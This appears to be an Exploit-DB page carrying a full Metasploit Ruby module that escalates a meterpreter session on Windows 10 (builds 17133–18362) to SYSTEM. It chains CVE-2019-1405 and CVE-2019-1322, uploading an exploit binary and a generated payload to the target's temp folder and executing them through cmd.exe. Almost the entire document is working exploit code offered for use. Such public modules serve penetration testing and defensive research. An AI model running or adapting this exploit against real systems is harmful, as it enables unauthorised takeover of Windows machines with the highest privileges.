Microsoft UPnP – Local Privilege Elevation (Metasploit)

  • 作者: Metasploit
    日期: 2019-12-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47805/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/post/common'
    require 'msf/core/post/file'
    require 'msf/core/post/windows/priv'
    require 'msf/core/post/windows/registry'
    require 'msf/core/exploit/exe'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::Common
    include Msf::Post::File
    include Msf::Post::Windows::Priv
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',
    'Description'=> %q(
    This exploit uses two vulnerabilities to execute a command as an elevated user.
    The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to
    NT AUTHORITY\LOCAL SERVICE
    The second (CVE-2019-1322) leverages the Update Orchestrator Service to
    elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'NCC Group',# Original discovery (https://www.nccgroup.trust/uk/)
    'hoangprod',# PoC
    'bwatters-r7' # msf module
    ],
    'Platform' => ['win'],
    'SessionTypes' => ['meterpreter'],
    'Targets'=>
    [
    ['Windows x64', { 'Arch' => ARCH_X64 }]
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Nov 12 2019',
    'References' =>
    [
    ['CVE', '2019-1322'],
    ['CVE', '2019-1405'],
    ['EDB', '47684'],
    ['URL', 'https://github.com/apt69/COMahawk'],
    ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],
    ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']
    ],
    'DefaultOptions' =>
    {
    'DisablePayloadHandler' => false
    }
    ))
    
    register_options([
    OptString.new('EXPLOIT_NAME',
    [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
    OptString.new('PAYLOAD_NAME',
    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
    OptString.new('WRITABLE_DIR',
    [false, 'Path to write binaries (%TEMP% by default).', nil]),
    OptInt.new('EXPLOIT_TIMEOUT',
    [true, 'The number of seconds to wait for exploit to finish running', 60]),
    OptInt.new('EXECUTE_DELAY',
    [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
    end
    
    def exploit
    exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
    exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
    payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
    temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
    payload_path = "#{temp_path}\\#{payload_name}"
    exploit_path = "#{temp_path}\\#{exploit_name}"
    payload_exe = generate_payload_exe
    
    # Check target
    vprint_status("Checking Target")
    validate_active_host
    validate_target
    fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
    
    # Upload Exploit
    vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
    ensure_clean_destination(exploit_path)
    exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')
    write_file(exploit_path, exploit_bin)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
    
    # Upload Payload
    vprint_status("Uploading Payload")
    ensure_clean_destination(payload_path)
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
    print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
    
    # Run Exploit
    vprint_status("Running Exploit")
    print_status("It may take a moment after the session is established for the exploit to exit safely.")
    begin
    cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
    rescue Rex::TimeoutError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    print_error("Caught timeout.Exploit may be taking longer or it may have failed.")
    end
    vprint_status("Cleaning up #{exploit_path}")
    ensure_clean_destination(exploit_path)
    end
    
    def validate_active_host
    begin
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    raise Msf::Exploit::Failed, 'Could not connect to session'
    end
    end
    
    def validate_target
    if sysinfo['Architecture'] == ARCH_X86
    fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    sysinfo_value = sysinfo['OS']
    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
    vprint_status("Build Number = #{build_num}")
    unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362)
    fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
    end
    end
    
    def ensure_clean_destination(path)
    return unless file?(path)
    print_status("#{path} already exists on the target. Deleting...")
    begin
    file_rm(path)
    print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    print_error("Unable to delete #{path}")
    end
    end
    end